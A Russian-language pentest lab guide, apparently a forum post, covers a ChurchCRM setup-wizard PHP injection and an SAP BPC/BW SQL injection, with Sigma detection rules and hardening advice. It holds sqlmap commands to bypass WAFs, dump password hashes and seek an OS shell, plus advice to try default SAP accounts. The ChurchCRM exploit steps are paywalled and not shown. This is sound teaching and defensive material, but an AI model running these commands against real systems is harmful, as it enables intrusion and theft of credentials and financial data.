• Твой профиль заполнен на 0%. Заполни за 1 минуту, чтобы тебя нашли единомышленники и работодатели. Заполнить →
Raspberry Pi с открытыми контактами GPIO лежит на тёмном антистатическом коврике. Крошечный OLED-экран светится зелёным текстом с кодами уязвимостей на фоне янтарного света настольной лампы.


Начало 2026-го подкинуло две CVE, которые стоит разобрать на стенде. CVE-2026-39337 - pre-auth RCE PHP-инъекция в ChurchCRM, CVSS 10.0 из 10.0. Без логина, без пароля, без какого-либо взаимодействия пользователя - просто шлёшь HTTP-запрос и получаешь шелл. CVE-2026-27681 - SQL-инъекция в SAP BPC и SAP BW, CVSS 9.9. Формально нужна учётка, но в SAP-среде это не барьер (об этом ниже). В этом лаб-гайде я разберу каждую уязвимость от первого HTTP-запроса до получения шелла - с конкретными командами, которые вы сможете воспроизвести на изолированном стенде.

Почему эти CVE заслуживают отдельного стенда​

CMS и ERP-системы - хлеб с маслом корпоративного пентеста. ChurchCRM стоит на серверах тысяч организаций, а SAP BPC/BW управляет финансовым планированием в крупных компаниях. Обе уязвимости эксплуатируют ошибки, которые по данным исследования АБП2Б встречаются в 91% тестируемых систем: отсутствие санитизации пользовательского ввода и кривая обработка SQL-запросов. Казалось бы, 2026 год на дворе - а воз и ныне там.

Вот что делает эту пару особенно интересной для лабораторного разбора:

ХарактеристикаCVE-2026-39337CVE-2026-27681
ПродуктChurchCRM (до 7.1.0)SAP BPC / SAP BW
Тип уязвимостиPHP Code Injection (CWE-94)SQL Injection (CWE-89)
CVSS 3.110.0 CRITICAL9.9 CRITICAL
АутентификацияНе требуется (PR:N)Требуется минимальная (PR:L)
Scope ChangeДа (S:C)Да (S:C)
ВекторAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:HAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
РезультатПолный контроль над серверомЧтение, изменение, удаление данных в БД

CVE-2026-39337 - полностью pre-authentication. Ни логина, ни пароля, ни пользовательского взаимодействия. CVE-2026-27681 формально требует авторизацию (PR:L), но в SAP-системах учётки с минимальными привилегиями раздаются широкому кругу сотрудников - барьер входа фактически стремится к нулю. Обе уязвимости имеют флаг Scope Changed (S:C) - компрометация выходит за границы уязвимого компонента и затрагивает смежные системы.

По классификации MITRE ATT&CK обе относятся к технике Exploit Public-Facing Application (T1190, Initial Access) - атакующий получает первоначальный доступ через публично доступное веб-приложение.

CVE-2026-39337: PHP code injection в ChurchCRM без аутентификации​

Техническая анатомия

Согласно NVD, уязвимость сидит в мастере первоначальной установки ChurchCRM. Переменная $dbPassword не проходит санитизацию перед записью в конфигурационный файл. Классический CWE-94 (Improper Control of Generation of Code): пользовательский ввод попадает в генерируемый PHP-код и выполняется при подключении конфигурации.

Что происходит в трафике: setup wizard принимает параметры подключения к базе данных через HTTP-запрос - хост, имя базы, логин, пароль. Всё это записывается в PHP-файл конфигурации. Проблема в том, что значение пароля подставляется в PHP-строку без экранирования. Если атакующий пихает в поле пароля конструкцию, которая закрывает строку и добавляет произвольный PHP-код, - этот код выполнится при следующем подключении конфига.

Разработчики уже пытались закрыть этот вектор, но патч оказался дырявым - санитизировали часть спецсимволов, но не все. Классика жанра.

Почему это работает на pre-auth уровне: setup wizard в большинстве PHP CMS доступен без аутентификации by design - на момент первичной настройки учётных записей ещё не существует. Если инсталляция не завершена, или если можно инициировать повторную установку - любой сетевой атакующий получает доступ к этому эндпоинту.

Развёртывание уязвимой версии в Docker​

Для воспроизведения нужна версия ChurchCRM ниже 7.1.0. Поднимаем изолированный стенд:
Bash:
# Создаём Docker Compose для лабораторного стенда
mkdir churchcrm-lab && cd churchcrm-lab
cat > docker-compose.yml << 'EOF'
version: '3.8'
services:
  db:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: labpassword
      MYSQL_DATABASE: churchcrm
    ports:
      - "3306:3306"
    networks:
      - lab-net

  churchcrm:
    # Официальный Docker-образ и Dockerfile отсутствуют в репозитории ChurchCRM.
    # Необходимо создать Dockerfile вручную, например:
    #   git clone --branch v7.0.0 https://github.com/ChurchCRM/CRM.git
    #   cat > Dockerfile << 'DEOF'
    #   FROM php:8.1-apache
    #   RUN docker-php-ext-install mysqli pdo pdo_mysql && a2enmod rewrite
    #   COPY . /var/www/html/
    #   RUN chown -R www-data:www-data /var/www/html
    #   DEOF
    #   docker build -t churchcrm-lab:7.0.0 .
    # Могут потребоваться дополнительные расширения (gd, xml, mbstring, curl, zip)
    # и установка зависимостей через composer install. Точная процедура сборки
    # зависит от версии - проверьте логи Apache на ошибки PHP-расширений.
    image: churchcrm-lab:7.0.0  # локально собранная уязвимая версия < 7.1.0
    ports:
      - "8080:80"
    depends_on:
      - db
    networks:
      - lab-net

networks:
  lab-net:
    driver: bridge
EOF

# Запускаем стенд
docker-compose up -d

# Проверяем доступность
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/setup/
Если на стенде отображается мастер установки - можно ломать. Если setup wizard не отображается (HTTP 404 или редирект на логин), скорее всего, образ содержит уже пройденную инсталляцию. Удалите конфигурационный файл (docker exec churchcrm-lab rm /var/www/html/Include/Config.php) и перезагрузите контейнер.

Пошаговая эксплуатация: от setup wizard до веб-шелла
📚 Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

📚 Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме


1776358648249.webp


CVE-2026-27681: SQL-инъекция в SAP BPC и SAP BW​

Разбор CVSS-вектора и реальный импакт​

CVE-2026-27681 затрагивает SAP Business Planning and Consolidation и SAP Business Warehouse - системы, через которые крупные корпорации ведут финансовое планирование и аналитику. Согласно NVD, уязвимость типа (SQL Injection) позволяет аутентифицированному пользователю выполнять произвольные SQL-запросы для чтения, изменения и удаления данных в базе.

CVSS-вектор по компонентам:
  • AV:N - атака через сеть, физический доступ не нужен
  • AC:L - низкая сложность, специальных условий нет
  • PR:L - нужна учётка с минимальными привилегиями
  • UI:N - взаимодействие пользователя не требуется
  • S:C - Scope Changed, компрометация выходит за границы уязвимого компонента
  • C:H/I:H/A:H - полный импакт на конфиденциальность, целостность и доступность
Scope Changed при CVSS 9.9 - это не просто чтение одной таблицы. Атакующий может выйти за пределы контекста приложения и добраться до всей базы данных, включая данные других модулей SAP.

Для пентестера - золотая жила. SAP-системы хранят финансовые данные, персоналку сотрудников, стратегические планы. SQL-инъекция с полным доступом к БД - это Exploitation for Credential Access (T1212), если атакующий вытаскивает хеши паролей, и одновременно Data from Local System (T1005) для сбора бизнес-критичной информации.

Особенности SQL-инъекции в корпоративном софте​

Хотя CVE-2026-27681 формально требует авторизацию, на практике это не серьёзный барьер. По данным пентестов АБП2Б, SAP-системы часто страдают от слабых паролей и дефолтных учёток. Получение авторизованной сессии через брутфорс популярных паролей - один из самых частых сценариев. Мой опыт на проектах с SAP первым делом пробую стандартные пароли для SAP*, DDIC, EARLYWATCH - и удивительно часто они работают.

Для сравнения: CVE-2026-27179 в системе MajorDoMo (описана SentinelOne) - схожая по типу SQL-инъекция без аутентификации (CWE-89, CVSS 4.0: 8.8 - высокий импакт на конфиденциальность, но низкий на целостность и отсутствующий на доступность (VC:H/VI:L/VA:N); CVSS 4.0 использует иную методологию оценки, чем CVSS 3.1, применённая к остальным CVE в этой статье, и прямое сравнение числовых score между версиями некорректно), где параметр $_GET['parent'] напрямую интерполируется в SQL-запросы. Техника эксплуатации - time-based blind SQLi - применима и к SAP-сценариям, хотя конкретные эндпоинты, синтаксис и уровень импакта будут отличаться.

Методология тестирования SQL-инъекций в SAP-системах (на примере CVE-2026-27681)​

SAP не раскрывает детали уязвимых эндпоинтов в публичных advisory - они доступны только клиентам через SAP Support Portal. Ниже - общая методология тестирования SQLi в SAP-системах, применимая после идентификации уязвимого параметра по SAP Security Note для CVE-2026-27681. Допустим, у нас уже есть валидная сессия в SAP BPC (получена через перебор паролей, фишинг или утёкшие учётные данные).

Первый этап - перехватываем легитимный запрос к предположительно уязвимому эндпоинту через Burp Suite и сохраняем в файл:
Bash:
# Сохраняем перехваченный запрос из Burp Suite в файл
# Burp → правый клик на запросе → Copy to file → request.txt

# Пример содержимого request.txt (гипотетический эндпоинт для демонстрации):
# POST /sap/bpc/api/query HTTP/1.1
# Host: sap-target.corp.local
# Cookie: sap-usercontext=...; SAP_SESSIONID_BPC_100=...
# Content-Type: application/json
#
# {"filter":"value_to_test*"}
Второй этап - запускаем sqlmap с файлом запроса. SAP использует разные СУБД (HANA, MS SQL, Oracle), так что sqlmap нужно время на fingerprinting:
Bash:
# Базовое сканирование с автоматическим определением СУБД
python sqlmap.py -r request.txt --batch --level=3 --risk=2

# Если WAF блокирует стандартные payload - используем tamper-скрипты
python sqlmap.py -r request.txt --batch --level=5 --risk=3 \
  --tamper=space2comment,between,randomcase

# Для time-based blind injection увеличиваем таймаут
python sqlmap.py -r request.txt --batch --technique=T --time-sec=10
Третий этап - после подтверждения инъекции вытаскиваем структуру базы и целевые данные:
Bash:
# Получаем список баз данных
python sqlmap.py -r request.txt --batch --dbs

# Получаем таблицы из целевой базы
python sqlmap.py -r request.txt --batch -D target_db --tables

# Извлекаем данные пользователей (хеши паролей)
python sqlmap.py -r request.txt --batch -D target_db -T users --dump

# Попытка получить OS shell (если СУБД позволяет)
python sqlmap.py -r request.txt --batch --os-shell
Как отмечается в руководстве Hive Security по SQL-инъекциям, sqlmap содержит более 50 tamper-скриптов для обхода WAF: рандомизация регистра, кодирование символов, вставка комментариев, разбиение ключевых слов. При тестировании SAP-систем, которые часто стоят за корпоративным WAF, комбинация --tamper скриптов - это то, что отделяет «не нашёл» от «нашёл».

Маппинг kill chain на MITRE ATT&CK​

Полная цепочка атаки при комбинировании обоих типов уязвимостей в корпоративной среде:

ЭтапТехника ATT&CKОписание в контексте CVE
Initial AccessExploit Public-Facing Application (T1190)Эксплуатация CVE-2026-39337 через setup wizard ChurchCRM или CVE-2026-27681 через SAP BPC endpoint
ExecutionUnix Shell (T1059.004)Выполнение системных команд через PHP code injection
PersistenceWeb Shell (T1505.003)Размещение веб-шелла после успешной PHP-инъекции
Privilege EscalationExploitation for Privilege Escalation (T1068)Повышение привилегий от www-data до root через локальные уязвимости
Credential AccessExploitation for Credential Access (T1212)Извлечение хешей паролей из БД через SQLi
Defense EvasionDeobfuscate/Decode Files or Information (T1140)Обфускация payload для обхода WAF
DiscoveryFile and Directory Discovery (T1083)Разведка файловой системы после получения шелла
CollectionData from Local System (T1005)Сбор конфигурационных файлов, дампов БД

Связка двух CVE в реальной кампании выглядит так: атакующий находит публично доступный ChurchCRM (или другую CMS) на периметре организации, эксплуатирует CVE-2026-39337 для получения шелла, затем через внутреннюю сеть добирается до SAP-сервера и применяет CVE-2026-27681 для доступа к финансовым данным. Scope Changed (S:C) в обоих CVE прямо говорит - импакт выходит далеко за пределы первоначально скомпрометированного сервиса.

Обнаружение атак: Sigma-правила и анализ логов​

Детекция CVE-2026-39337 в веб-логах​

PHP code injection в setup wizard оставляет характерные следы в access-логах. На что смотреть:
  • Обращения к /setup/ эндпоинтам с production-серверов (setup wizard не должен быть доступен после инсталляции - если он торчит наружу, это уже проблема)
  • POST-запросы к setup wizard с нетипично длинными значениями параметров
  • PHP-конструкции (system(, eval(, exec(, passthru() в параметрах запроса
YAML:
# Sigma-правило для детекции эксплуатации CVE-2026-39337
# Пример для демонстрации концепции
title: ChurchCRM Setup Wizard PHP Injection Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects attempts to exploit CVE-2026-39337 via PHP code injection in ChurchCRM setup wizard
logsource:
  category: webserver
  product: apache
detection:
  selection_path:
    cs-uri-stem|contains:
      - '/setup/'
      - '/Setup.php'
  condition: selection_path
# Примечание: это правило детектирует сам факт обращения к setup wizard на production-сервере,
# что уже является аномалией. Payload CVE-2026-39337 передаётся через POST-body, которое
# стандартные логи Apache/Nginx НЕ записывают. Для детекции payload в POST-body
# используйте ModSecurity с SecRequestBodyAccess On и правилом на PHP-конструкции.
# Для детекции post-exploitation (GET-запросы с ?cmd=) создайте отдельное правило
# на наличие system(, eval(, exec( в cs-uri-query на любых эндпоинтах ChurchCRM.
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.39337

Детекция SQL-инъекции в SAP-системах​

Для CVE-2026-27681 и аналогичных SQLi-уязвимостей корпоративного софта нужен мониторинг на нескольких уровнях. Как описывает SentinelOne для аналогичной CVE-2026-27179 в MajorDoMo, ключевые индикаторы компрометации:
  • SQL-конструкции в URL-параметрах: UNION, SELECT, SLEEP(), WAITFOR
  • Аномальное время ответа базы данных (характерно для time-based blind SQLi)
  • Множественные похожие запросы с варьирующимися значениями SLEEP() - типичный паттерн автоматизированной эксплуатации через sqlmap
YAML:
# Sigma-правило для детекции SQLi в SAP endpoints
# Пример для демонстрации концепции
title: SQL Injection Attempt Against SAP BPC/BW
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects post-authentication SQL injection patterns in requests to SAP BPC/BW endpoints (CVE-2026-27681 requires PR:L)
logsource:
  category: webserver
detection:
  selection_sap:
    cs-uri-stem|contains:
      - '/sap/bpc/'
      - '/sap/bw/'
  selection_sqli:
    cs-uri-query|contains:
      - 'UNION SELECT'
      - 'UNION%20SELECT'
      - 'SLEEP('
      - 'WAITFOR DELAY'
      - "' OR '1'='1"
      - '1=1--'
  condition: selection_sap and selection_sqli
# CVE-2026-27681 требует аутентификацию (PR:L); срабатывание указывает на компрометацию учётной записи + эксплуатацию SQLi.
level: critical
tags:
  - attack.credential_access
  - attack.t1212
  - cve.2026.27681
На уровне базы данных настройте аудит: логирование всех запросов с аномальным временем выполнения (более 5 секунд при обычном показателе менее 100 мс), а также запросов с обращениями к системным таблицам или функциям (INFORMATION_SCHEMA, pg_sleep, BENCHMARK).

Рекомендации по защите корпоративных систем​

Защита от CWE-94: PHP code injection​

Для ChurchCRM и аналогичных PHP-приложений с мастерами установки:
  1. Удалять или блокировать setup wizard после завершения инсталляции. На уровне веб-сервера:
Код:
# Apache: блокировка доступа к setup wizard
<Directory /var/www/html/setup>
    Require all denied
</Directory>
NGINX:
# Nginx: аналогичная блокировка
location /setup/ {
    deny all;
    return 403;
}
  1. Обновить ChurchCRM до версии 7.1.0 или выше, где уязвимость исправлена.
  2. Использовать WAF-правила для блокировки PHP-конструкций в параметрах запросов. Как отмечают исследователи F5, сигнатуры для блокировки pre-auth RCE должны перехватывать не только конкретные CVE, но и целые классы атак.

Защита от CWE-89: SQL Injection в SAP​

  1. Установить апрельские обновления безопасности SAP 2026 года, включающие исправление CVE-2026-27681. По данным Comss.ru, SAP выпустил патчи для критической SQL-инъекции в SAP BPC и SAP BW.
  2. Параметризованные запросы - единственный надёжный фикс SQLi на уровне кода. Как демонстрируют лабораторные работы DevSecOps Guides, замена конкатенации строк на параметризованные запросы полностью устраняет вектор атаки, независимо от сложности payload. Фикс известен с конца 1990-х. Что не мешает ему оставаться актуальным в 2026-м.
  3. Принцип минимальных привилегий для учётных записей БД: приложение SAP BPC не должно подключаться к базе под учёткой с правами на DROP или ALTER системных таблиц.
  4. Сетевая сегментация: SAP-серверы - во внутреннем сегменте с ограниченным доступом, а не на периметре сети.

Контекст: pre-auth RCE как системная проблема 2026 года​

CVE-2026-39337 и CVE-2026-27681 - не единичные случаи. В 2026 году пошла волна критических уязвимостей в корпоративных системах с аналогичным паттерном:
  • CVE-2025-61757 - pre-auth RCE в Oracle Identity Manager (CVSS 9.8, CWE-306), затрагивает компонент REST WebServices. По данным F5 Security, эксплуатация предположительно включает обход аутентификации через matrix parameters (;.wadl в URL) с последующей компиляцией Groovy-кода через аннотацию @ASTTest
  • CVE-2026-35616 - pre-auth RCE в FortiClient EMS 7.4.5–7.4.6 (CVSS 9.8, CWE-284), уже используется в реальных атаках
  • CVE-2025-59287 - unauthenticated RCE в WSUS через небезопасную десериализацию (CVSS 9.8, CWE-502)
Общий паттерн: корпоративный софт с широкой поверхностью атаки, публично доступные эндпоинты без аутентификации и базовые ошибки обработки ввода. Для пентестера это значит, что навыки эксплуатации PHP-инъекций и SQL-инъекций остаются базовыми и востребованными - хотя первые описания этих классов уязвимостей появились более двадцати лет назад.

Как верно отмечают исследователи Hive Security, фикс для SQL-инъекции известен с конца 1990-х - разделение кода и данных через параметризованные запросы. Но legacy-код, ORM с .raw() escape-хатчами, микросервисы без явного владельца и дедлайн-прессинг на разработчиков гарантируют, что эти уязвимости будут появляться в пентест-отчётах ещё много лет. На заборе написано «параметризуйте запросы» - а в продакшене по-прежнему конкатенация строк.

Чеклист: что проверять при тестировании корпоративных систем​

На основе разбора CVE-2026-39337 и CVE-2026-27681 - практический чеклист для пентеста корпоративных веб-приложений:
  1. Setup / Install endpoints - проверить наличие доступных мастеров установки на production-серверах. Это первое, что я ищу при сканировании CMS - и вы удивитесь, как часто они торчат наружу.
  2. Конфигурационные файлы - проверить, пишутся ли пользовательские данные в PHP/Python/Ruby конфигурации без экранирования.
  3. SQL-инъекции в API - протестировать все параметры, включая JSON-тела запросов, заголовки Cookie и нестандартные HTTP-заголовки.
  4. Дефолтные учётные данные SAP - перед тестированием SQLi в SAP-системах проверить стандартные пароли для SAP*, DDIC, EARLYWATCH и других технических учётных записей.
  5. WAF bypass - при наличии WAF использовать sqlmap с --tamper скриптами и ручную модификацию payload.
Разверните стенд из этого гайда, пройдите оба вектора руками - от первого curl до шелла. Потренировавшись на примерах, вы будете узнавать эти паттерны в продакшене за секунды.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab